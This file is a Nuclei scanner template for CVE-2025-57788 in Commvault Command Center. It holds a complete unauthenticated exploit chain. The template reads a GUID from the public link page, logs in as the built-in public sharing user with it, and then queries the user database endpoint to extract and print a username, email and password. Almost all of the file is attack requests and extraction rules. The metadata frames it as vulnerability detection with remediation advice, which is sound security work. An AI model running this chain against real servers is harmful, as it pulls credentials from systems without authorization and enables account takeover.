id: CVE-2025-57788

info:
  name: Commvault Unauthenticated Password Disclosure (WT-2025-0047)
  author: DhiyaneshDK,iamnoooob,pdresearch,watchtowr
  severity: medium
  description: |
    An issue was discovered in Commvault before 11.36.60. A vulnerability in a known login mechanism allows unauthenticated attackers to execute API calls without requiring user credentials. RBAC helps limit the exposure but does not eliminate risk.
  impact: |
    Unauthenticated attackers can exploit the public sharing login mechanism to access API endpoints and retrieve sensitive user information including passwords.
  remediation: |
    Upgrade Commvault to version 11.36.60 or later that properly restricts API access and removes the vulnerable login mechanism.
  reference:
    - https://labs.watchtowr.com/guess-who-would-be-stupid-enough-to-rob-the-same-vault-twice-pre-auth-rce-chains-in-commvault/
    - https://documentation.commvault.com/securityadvisories/CV_2025_08_3.html
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:-542502280
  tags: cve,cve2025,commandcenter,commvault,unauth,vkev,vuln

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /commandcenter/publicLink.do HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: guid
        group: 1
        regex:
          - 'cv-gorkha\\":\\"(.*?)\\"'
        internal: true

    matchers:
      - type: word
        part: body
        words:
          - 'cv-gorkha'
        internal: true

  - raw:
      - |
        POST /commandcenter/api/Login HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json;charset=UTF-8

        {
          "username": "_+_PublicSharingUser_",
          "password": "{{base64(guid)}}"
        }

    matchers:
      - type: word
        part: body
        words:
          - '_+_PublicSharingUser_'
          - 'Public Sharing User'
          - 'token'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: token
        group: 1
        regex:
          - '"token":"(.*?)"'
        internal: true

  - raw:
      - |
        GET /commandcenter/RestServlet/Database/GetUmUserById/1 HTTP/1.1
        Host: {{Hostname}}
        Accept: application/xml
        Authtoken: {{token}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, 'login','email','password','datePasswordSet')
        condition: and

    extractors:
      - type: json
        part: body
        name: password
        json:
          - ".password?"
        internal: true

      - type: json
        part: body
        name: username
        json:
          - ".login?"
        internal: true

      - type: json
        part: body
        name: email
        json:
          - ".email?"
        internal: true

      - type: dsl
        dsl:
          - '"username: " + username + " password:" + password + " email: " + email'
# digest: 4a0a00473045022007cfdbc4b3651d3f134cd65aafad58ab0b4d7c282dbd203b3827c21f2253db8f02210081da3f84706b276884f1312a7a9bc20994619993347bb65888b139f6373eb9f9:922c64590222798bb761d5b6d8e72950